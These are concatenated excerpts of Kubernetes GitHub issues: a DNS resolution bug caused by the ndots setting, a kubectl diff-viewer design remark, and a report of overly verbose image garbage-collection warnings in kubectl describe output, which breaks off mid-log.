forwarded www.telenet.be.cluster.local to 127.0.0.1\r i0718 11:44:24.491204       1 nanny.go:108  dnsmasq 12 : query aaaa  www.telenet.be.cluster.local from 10.42.0.8\r i0718 11:44:24.491214       1 nanny.go:108  dnsmasq 12 : forwarded www.telenet.be.cluster.local to 127.0.0.1\r i0718 11:44:24.491467       1 nanny.go:108  dnsmasq 12 : reply www.telenet.be.cluster.local is nxdomain\r i0718 11:44:24.491491       1 nanny.go:108  dnsmasq 12 : reply www.telenet.be.cluster.local is nxdomain\r i0718 11:44:24.491709       1 nanny.go:108  dnsmasq 12 : query a  www.telenet.be.tst01.kring.mycompany.com from 10.42.0.8\r i0718 11:44:24.491889       1 nanny.go:108  dnsmasq 12 : forwarded www.telenet.be.tst01.kring.mycompany.com to 10.9.0.1\r i0718 11:44:24.491906       1 nanny.go:108  dnsmasq 12 : query aaaa  www.telenet.be.tst01.kring.mycompany.com from 10.42.0.8\r i0718 11:44:24.492158       1 nanny.go:108  dnsmasq 12 : forwarded www.telenet.be.tst01.kring.mycompany.com to 10.9.0.1\r i0718 11:44:24.496889       1 nanny.go:108  dnsmasq 12 : reply www.telenet.be.tst01.kring.mycompany.com is <cname>\r i0718 11:44:24.496928       1 nanny.go:108  dnsmasq 12 : reply lb-app.tst01.kring.mycompany.com is 10.9.130.57\r i0718 11:44:24.497035       1 nanny.go:108  dnsmasq 12 : reply www.telenet.be.tst01.kring.mycompany.com is <cname>\r    \r \r when i open a shell in the container, and modify the following line in resolv.conf\r \r  ndots:5 \r \r to:\r \r  ndots:1 \r \r external names resolves fine again.\r \r so basically, this setting breaks all external dns queries, so this qualifies as a serious bug in my opinion.\r \r so please, tell me where and how i can fix this for all my pods.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6.6\r - cloud provider or hardware configuration  : vsphere\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  : linux worker-002 3.10.0-514.10.2.el7.x86_64  1 smp fri mar 3 00:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm\r - others:\r

if we need to support flag  --diff-viewer  in this doc here: https://github.com/pwittrock/community/blob/572c1e0a26a05892c9ecbbf0dbf6b067677cdc32/contributors/design-proposals/sig-cli/kubectl_apply_getsetdiff_last_applied_config.md diff-last-applied\r we need to find a better way to organize our current code in  cmdtools.go , because previously,  cmdtools.go  was only design for  kubectl edit  to use, and doesn't take flag support into consider.\r   \r see disscussion here: https://github.com/kubernetes/kubernetes/pull/49174 discussion_r128426122

what happened  :\r we are running some workloads and i use  kubectl describe  on a node and was met with an enormous wall of text from image gc attempting to remove images that were still in use by stopped containers on the node.\r \r   what you expected to happen  :\r image gc should either not attempt to do this or we should limit how spammy the message is coming out of it.\r \r   how to reproduce it  as minimally and precisely as possible   :\r nothing super clear here, but run a lot of pods to completion but do not prune them on your node.\r \r   kubernetes version  :\r \r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0+695f48a16f\ , gitcommit:\ d2e5420\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t19:30:25z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0+695f48a16f\ , gitcommit:\ d2e5420\ , gittreestate:\ clean\ , builddate:\ 2017-08-30t13:35:56z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   bad  kubectl describe  output:  \r \r <details>\r <summary>click to expand output</summary>\r \r    \r name:\t\t\torigin-ci-ig-n-kwtq\r role:\t\t\t\r labels:\t\t\tbeta.kubernetes.io/arch=amd64\r \t\t\tbeta.kubernetes.io/instance-type=n1-standard-8\r \t\t\tbeta.kubernetes.io/os=linux\r \t\t\tfailure-domain.beta.kubernetes.io/region=us-central1\r \t\t\tfailure-domain.beta.kubernetes.io/zone=us-central1-a\r \t\t\tkubernetes.io/hostname=origin-ci-ig-n-kwtq\r \t\t\trole=app\r annotations:\t\tcluster-autoscaler.kubernetes.io/scale-down-when-unready-disabled=true\r \t\t\tvolumes.kubernetes.io/controller-managed-attach-detach=true\r taints:\t\t\t<none>\r creationtimestamp:\twed, 30 aug 2017 08:11:59 -0700\r conditions:\r   type\t\t\tstatus\tlastheartbeattime\t\t\tlasttransitiontime\t\t\treason\t\t\t\tmessage\r   ----\t\t\t------\t-----------------\t\t\t------------------\t\t\t------\t\t\t\t-------\r   networkunavailable \tfalse \tmon, 01 jan 0001 00:00:00 +0000 \twed, 30 aug 2017 08:12:00 -0700 \troutecreated \t\t\topenshift-sdn cleared kubelet-set noroutecreated\r   outofdisk \t\tfalse \tmon, 23 oct 2017 14:03:58 -0700 \tfri, 22 sep 2017 03:19:05 -0700 \tkubelethassufficientdisk \tkubelet has sufficient disk space available\r   memorypressure \tfalse \tmon, 23 oct 2017 14:03:58 -0700 \tfri, 22 sep 2017 03:19:05 -0700 \tkubelethassufficientmemory \tkubelet has sufficient memory available\r   diskpressure \t\tfalse \tmon, 23 oct 2017 14:03:58 -0700 \tsat, 21 oct 2017 17:39:57 -0700 \tkubelethasnodiskpressure \tkubelet has no disk pressure\r   ready \t\ttrue \tmon, 23 oct 2017 14:03:58 -0700 \tfri, 13 oct 2017 08:08:22 -0700 \tkubeletready \t\t\tkubelet is posting ready status\r addresses:\r   internalip:\t10.128.0.10\r   externalip:\t104.154.246.93\r   hostname:\torigin-ci-ig-n-kwtq\r capacity:\r  cpu:\t\t8\r  memory:\t30716976ki\r  pods:\t\t80\r allocatable:\r  cpu:\t\t8\r  memory:\t30614576ki\r  pods:\t\t80\r system info:\r  machine id:\t\t\t0fb831b9af0c70629bc60f8366e636c8\r  system uuid:\t\t\taf393997-7324-1c9a-b2b0-47b6222d2195\r  boot id:\t\t\t479852e1-6606-46b4-8ade-632b28ff16db\r  kernel version:\t\t3.10.0-693.1.1.el7.x86_64\r  os image:\t\t\tcentos linux 7  core \r  operating system:\t\tlinux\r  architecture:\t\t\tamd64\r  container runtime version:\tdocker://1.12.6\r  kubelet version:\t\tv1.7.0+695f48a16f\r  kube-proxy version:\t\tv1.7.0+695f48a16f\r externalid:\t\t\t4317559410358185612\r non-terminated pods:\t\t 11 in total \r   namespace\t\t\tname\t\t\t\t\t\t\t\t\tcpu requests\tcpu limits\tmemory requests\tmemory limits\r   ---------\t\t\t----\t\t\t\t\t\t\t\t\t------------\t----------\t---------------\t-------------\r   cewong-dev\t\t\tjenkins-jjb-controller-1-5266x\t\t\t\t\t\t0  0% \t\t0  0% \t\t0  0% \t\t0  0% \r   cewong-dev\t\t\tjenkins-secrets-controller-1-3tb4k\t\t\t\t\t0  0% \t\t0  0% \t\t0  0% \t\t0  0% \r   ci\t\t\t\thook-22-0tj1h\t\t\t\t\t\t\t\t0  0% \t\t0  0% \t\t0  0% \t\t0  0% \r   ci\t\t\t\tjenkins-operator-28-sv31s\t\t\t\t\t\t0  0% \t\t0  0% \t\t0  0% \t\t0  0% \r   ci\t\t\t\tjenkins-proxy-26-gzkrf\t\t\t\t\t\t\t0  0% \t\t0  0% \t\t0  0% \t\t0  0% \r   ci\t\t\t\tplank-26-c04pr\t\t\t\t\t\t\t\t0  0% \t\t0  0% \t\t0  0% \t\t0  0% \r   ci\t\t\t\tsubmit-queue-origin-aggregated-logging-1-8tjps\t\t\t\t100m  1% \t100m  1% \t0  0% \t\t0  0% \r   kube-system\t\t\tprometheus-1354940558-449h9\t\t\t\t\t\t0  0% \t\t0  0% \t\t0  0% \t\t0  0% \r   kube-system\t\t\tprometheus-node-exporter-fl7d1\t\t\t\t\t\t100m  1% \t200m  2% \t30mi  0% \t50mi  0% \r   origin-ci\t\t\tcompile-1177-pr-16884-1df97a6b95874a35c3735fd9-3fjn5-build\t\t0  0% \t\t0  0% \t\t0  0% \t\t0  0% \r   origin-ci\t\t\tut-716-pr-17009-b1c4dcaf7b471e40adc0ce6c-zgb4s\t\t\t\t2500m  31% \t0  0% \t\t7gi  23% \t10gi  34% \r allocated resources:\r    total limits may be over 100 percent, i.e., overcommitted. \r   cpu requests\tcpu limits\tmemory requests\tmemory limits\r   ------------\t----------\t---------------\t-------------\r   2700m  33% \t300m  3% \t7198mi  24% \t10290mi  34% \r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\tsubobjectpath\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t-------------\t--------\t------\t\t-------\r   1h\t\t1h\t\t1\tkubelet, origin-ci-ig-n-kwtq\t\t\twarning\t\timagegcfailed\twanted to free 8913566924 bytes, but freed 12468095958 bytes space with errors in image deletion:  rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 837c76105ac2  must be forced  - image is being used by stopped container d21ec541b826\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 427bb848ee38  must be forced  - image is being used by stopped container 0e4272b10670\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 6c33890d9bff  must be forced  - image is being used by stopped container bf5c8c5d2d1d\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 644c4f7c63f5  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete c8271bf5b642  must be forced  - image is being used by stopped container f7df23fbed28\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete feb93d74246b  must be forced  - image is being used by stopped container 4e521493a689\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 56684f9b1357  must be forced  - image is being used by stopped container 7c9a2f105e83\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete f9ea88f4d4fd  must be forced  - image is being used by stopped container ddecf5349fbd\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 6a66a3caff89  must be forced  - image is being used by stopped container 9cab8358785c\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 6f836c704424  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete a44dde950357  cannot be forced  - image is being used by running container 568048097c46\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete dba1dd3055ab  must be forced  - image is being used by stopped container eff78d2a3812\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 8f9bb26186dc  must be forced  - image is being used by stopped container 00bb98b77796\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 1160c6fb7572  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete c5b004c911b9  must be forced  - image is being used by stopped container d1ecef54ef89\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 2a63ef9eca80  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 68fa83eb3f0f  must be forced  - image is being used by stopped container 44753bb5dccc\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 27542787e4b6  must be forced  - image is being used by stopped container bffd7f9e21ad\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 6dc20eeb36e0  must be forced  - image is being used by stopped container edd2bef48516\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 7a57ce3b8f23  must be forced  - image is being used by stopped container 1cd11c43d408\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 51bb0bf6186d  must be forced  - image is being used by stopped container 904289409d64\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 3d38b1de1707  must be forced  - image is being used by stopped container 9eda708605da\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 0fe60a52a3a9  must be forced  - image is being used by stopped container 6e3871c5feaf\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 2585b05ba29f  must be forced  - image is being used by stopped container 46b58a340bad\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 94c9711133a8  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 5321e129c193  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 558ec82df5b2  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 04d3d53a8be5  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 4e9fb26c1003  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete d0d6f23217ae  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 28f3312fec61  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 773e7033f3de  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 96bcb1e7b8ee  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete cb95821cb6f7  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete a6860762f5e4  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 9df86d711cd7  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 2c3e1b8e0dfa  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete d6403886da88  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete ac5d93a8e2d6  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 4f08e303819f  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 129dfee5c05d  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete c8430b6af7f3  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete e1ae996611bd  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 2276ec3af1fe  cannot be forced  - image has dependent child images\ } \r   1h\t\t1h\t\t1\tkubelet, origin-ci-ig-n-kwtq\t\t\twarning\t\timagegcfailed\twanted to free 7504673996 bytes, but freed 10946735920 bytes space with errors in image deletion:  rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 6c33890d9bff  must be forced  - image is being used by stopped container bf5c8c5d2d1d\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 644c4f7c63f5  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 6f836c704424  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete feb93d74246b  must be forced  - image is being used by stopped container 4e521493a689\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete f9ea88f4d4fd  must be forced  - image is being used by stopped container ddecf5349fbd\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 56684f9b1357  must be forced  - image is being used by stopped container 7c9a2f105e83\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete c8271bf5b642  must be forced  - image is being used by stopped container f7df23fbed28\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 837c76105ac2  must be forced  - image is being used by stopped container d21ec541b826\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 427bb848ee38  must be forced  - image is being used by stopped container 0e4272b10670\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 6a66a3caff89  must be forced  - image is being used by stopped container 9cab8358785c\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete a44dde950357  cannot be forced  - image is being used by running container 94dd002230b3\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete dba1dd3055ab  must be forced  - image is being used by stopped container eff78d2a3812\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 8f9bb26186dc  must be forced  - image is being used by stopped container 00bb98b77796\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 1160c6fb7572  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete c5b004c911b9  must be forced  - image is being used by stopped container d1ecef54ef89\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 2a63ef9eca80  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 68fa83eb3f0f  must be forced  - image is being used by stopped container 44753bb5dccc\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 6dc20eeb36e0  must be forced  - image is being used by stopped container edd2bef48516\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 27542787e4b6  must be forced  - image is being used by stopped container bffd7f9e21ad\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 7a57ce3b8f23  must be forced  - image is being used by stopped container 1cd11c43d408\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 51bb0bf6186d  must be forced  - image is being used by stopped container 904289409d64\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 3d38b1de1707  must be forced  - image is being used by stopped container 9eda708605da\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 0fe60a52a3a9  must be forced  - image is being used by stopped container 6e3871c5feaf\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 2585b05ba29f  must be forced  - image is being used by stopped container 46b58a340bad\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 94c9711133a8  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 5321e129c193  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 558ec82df5b2  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 04d3d53a8be5  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 4e9fb26c1003  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete d0d6f23217ae  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 28f3312fec61  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 773e7033f3de  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 96bcb1e7b8ee  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete cb95821cb6f7  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete a6860762f5e4  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 9df86d711cd7  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 2c3e1b8e0dfa  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete d6403886da88  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete ac5d93a8e2d6  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 4f08e303819f  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 129dfee5c05d  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete c8430b6af7f3  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 002ef681e318  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 267c7071970f  must be forced  - image is being used by stopped container bb4084ccce19\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 5d0ffad34296  cannot be forced  - image has dependent child images\ } \r   1h\t\t1h\t\t1\tkubelet, origin-ci-ig-n-kwtq\t\t\twarning\t\timagegcfailed\twanted to free 6571965644 bytes, but freed 12472152074 bytes space with errors in image deletion:  rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 56684f9b1357  must be forced  - image is being used by stopped container 7c9a2f105e83\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete f9ea88f4d4fd  must be forced  - image is being used by stopped container ddecf5349fbd\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 6a66a3caff89  must be forced  - image is being used by stopped container 9cab8358785c\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 837c76105ac2  must be forced  - image is being used by stopped container d21ec541b826\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete feb93d74246b  must be forced  - image is being used by stopped container 4e521493a689\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete a44dde950357  cannot be forced  - image is being used by running container b744ea5959be\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 6f836c704424  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 6c33890d9bff  must be forced  - image is being used by stopped container bf5c8c5d2d1d\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 427bb848ee38  must be forced  - image is being used by stopped container 0e4272b10670\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 644c4f7c63f5  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete c8271bf5b642  must be forced  - image is being used by stopped container f7df23fbed28\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete dba1dd3055ab  must be forced  - image is being used by stopped container eff78d2a3812\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 8f9bb26186dc  must be forced  - image is being used by stopped container 00bb98b77796\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 1160c6fb7572  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete c5b004c911b9  must be forced  - image is being used by stopped container d1ecef54ef89\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 2a63ef9eca80  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 68fa83eb3f0f  must be forced  - image is being used by stopped container 44753bb5dccc\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 6dc20eeb36e0  must be forced  - image is being used by stopped container edd2bef48516\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 27542787e4b6  must be forced  - image is being used by stopped container bffd7f9e21ad\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 7a57ce3b8f23  must be forced  - image is being used by stopped container 1cd11c43d408\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 51bb0bf6186d  must be forced  - image is being used by stopped container 904289409d64\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 3d38b1de1707  must be forced  - image is being used by stopped container 9eda708605da\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 0fe60a52a3a9  must be forced  - image is being used by stopped container 6e3871c5feaf\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 2585b05ba29f  must be forced  - image is being used by stopped container 46b58a340bad\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 94c9711133a8  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 5321e129c193  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 558ec82df5b2  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 04d3d53a8be5  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 4e9fb26c1003  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete d0d6f23217ae  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 28f3312fec61  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 773e7033f3de  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 96bcb1e7b8ee  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete cb95821cb6f7  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete a6860762f5e4  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 9df86d711cd7  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 2c3e1b8e0dfa  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete d6403886da88  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete ac5d93a8e2d6  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 4f08e303819f  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 129dfee5c05d  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete c8430b6af7f3  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 002ef681e318  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 267c7071970f  must be forced  - image is being used by stopped container bb4084ccce19\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 5d0ffad34296  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 87f571a52fc3  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 3ea4ab40dc98  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete c29ff1f4545b  cannot be forced  - image has dependent child images\ } \r   1h\t\t1h\t\t1\tkubelet, origin-ci-ig-n-kwtq\t\t\twarning\t\timagegcfailed\twanted to free 9915538636 bytes, but freed 10946951345 bytes space with errors in image deletion:  rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete c8271bf5b642  must be forced  - image is being used by stopped container f7df23fbed28\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 6a66a3caff89  must be forced  - image is being used by stopped container 9cab8358785c\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 427bb848ee38  must be forced  - image is being used by stopped container 0e4272b10670\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 644c4f7c63f5  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete feb93d74246b  must be forced  - image is being used by stopped container 4e521493a689\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 6c33890d9bff  must be forced  - image is being used by stopped container bf5c8c5d2d1d\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete a44dde950357  cannot be forced  - image is being used by running container 94dd002230b3\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 837c76105ac2  must be forced  - image is being used by stopped container d21ec541b826\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 